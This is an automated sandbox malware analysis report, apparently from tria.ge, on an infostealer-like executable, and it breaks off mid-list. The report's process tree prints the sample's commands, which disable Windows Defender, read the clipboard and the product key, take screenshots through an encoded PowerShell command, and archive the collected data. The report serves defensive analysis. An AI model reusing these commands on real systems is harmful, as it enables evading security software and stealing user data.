Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    121s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2024, 23:42

General

  • Target

    f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe

  • Size

    7.6MB

  • MD5

    f15e7b2564208c093f4633983cb0dce0

  • SHA1

    b62cd8640ead1c7062a8543096fdc37292154aed

  • SHA256

    f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846

  • SHA512

    7cf87a7891b337b4cc11f5a8c9f75bf1f85345de9e5b07cd388bed5aedd2b04f6f28560c8400f90b6148ca45739153a64c577d953947da14e17932ff58d759fd

  • SSDEEP

    196608:OzHY3tlwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q0VMwICEc/jg:yIHziK1piXLGVE4Ue0VJs

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe
    "C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe
      "C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\f416564a1211f930137216ce25249d6dd18904734492f36061e6ef3b1046c846N.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3548
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3728
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:4688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3160
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:528
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:840
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2156
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:1808
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3144
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4460
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jj5qpclv\jj5qpclv.cmdline"
              5⤵
                PID:1224
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88C7.tmp" "c:\Users\Admin\AppData\Local\Temp\jj5qpclv\CSCE22FD2339B424E6E86C77CC25FE95483.TMP"
                  6⤵
                    PID:4176
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:348
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:4064
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3452
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1084
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3168
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:2324
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1656
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:4660
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4940
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:2084
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                          PID:4848
                          • C:\Windows\system32\getmac.exe
                            getmac
                            4⤵
                              PID:4972
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI23842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\cC8QA.zip" *"
                            3⤵
                              PID:1464
                              • C:\Users\Admin\AppData\Local\Temp\_MEI23842\rar.exe
                                C:\Users\Admin\AppData\Local\Temp\_MEI23842\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\cC8QA.zip" *
                                4⤵
                                • Executes dropped EXE
                                PID:4928
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                              3⤵
                                PID:4700
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic os get Caption
                                  4⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1816
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                3⤵
                                  PID:2200
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic computersystem get totalphysicalmemory
                                    4⤵
                                      PID:4428
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                    3⤵
                                      PID:1124
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic csproduct get uuid
                                        4⤵
                                          PID:4688
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                        3⤵
                                          PID:3452
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                            4⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4560
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                          3⤵
                                            PID:4940
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic path win32_VideoController get name
                                              4⤵
                                              • Detects videocard installed
                                              PID:4592
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                            3⤵
                                              PID:1224
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:1412

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                          Filesize

                                          2KB

                                          MD5

                                          d85ba6ff808d9e5444a4b369f5bc2730

                                          SHA1

                                          31aa9d96590fff6981b315e0b391b575e4c0804a

                                          SHA256

                                          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                          SHA512

                                          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          944B

                                          MD5

                                          cadef9abd087803c630df65264a6c81c

                                          SHA1

                                          babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                          SHA256

                                          cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                                          SHA512

                                          7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          944B

                                          MD5

                                          6c47b3f4e68eebd47e9332eebfd2dd4e

                                          SHA1

                                          67f0b143336d7db7b281ed3de5e877fa87261834

                                          SHA256

                                          8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

                                          SHA512

                                          0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          1KB

                                          MD5

                                          932b57fee936c1d42dbed2004a334e4c

                                          SHA1

                                          f873c93226e19475142d14cfc79c5ca4d2272f1b

                                          SHA256

                                          7902350fb4bce8cec90012ebe8b16048b790869dd3701cc778babe0a263c27d5

                                          SHA512

                                          b878c07041d7f820e49c5416d9d4c6d03e9908c3325e7ea97ff5e7ce761208d26b9ff3b900c367e941e2fc7ab80e24b9ba125af1a86d7b9b7b74e669e5305f43

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          64B

                                          MD5

                                          3ca1082427d7b2cd417d7c0b7fd95e4e

                                          SHA1

                                          b0482ff5b58ffff4f5242d77330b064190f269d3

                                          SHA256

                                          31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

                                          SHA512

                                          bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

                                        • C:\Users\Admin\AppData\Local\Temp\RES88C7.tmp

                                          Filesize

                                          1KB

                                          MD5

                                          825d6bd47f1dd05972feb700ce05ec0d

                                          SHA1

                                          5d04c16ab01e5ea32d4c5f23b084955aad1ac8eb

                                          SHA256

                                          4a3c51a585722f19471f9da99767d36287d88a1ac7c016781a2fdacbe9fb64f9

                                          SHA512

                                          c322f3e5b85143bdea4f71d72a6acb0b41f0d7488877d555538463be7a6969e26ba7aa8fc83f2d5b4f203bbd11b205ac46aee7225b0ebecfb334436aad31cea0

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI23842\VCRUNTIME140.dll

                                          Filesize

                                          117KB

                                          MD5

                                          862f820c3251e4ca6fc0ac00e4092239

                                          SHA1

                                          ef96d84b253041b090c243594f90938e9a487a9a

                                          SHA256

                                          36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                          SHA512

                                          2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI23842\_bz2.pyd

                                          Filesize

                                          48KB

                                          MD5

                                          58fc4c56f7f400de210e98ccb8fdc4b2

                                          SHA1

                                          12cb7ec39f3af0947000295f4b50cbd6e7436554

                                          SHA256

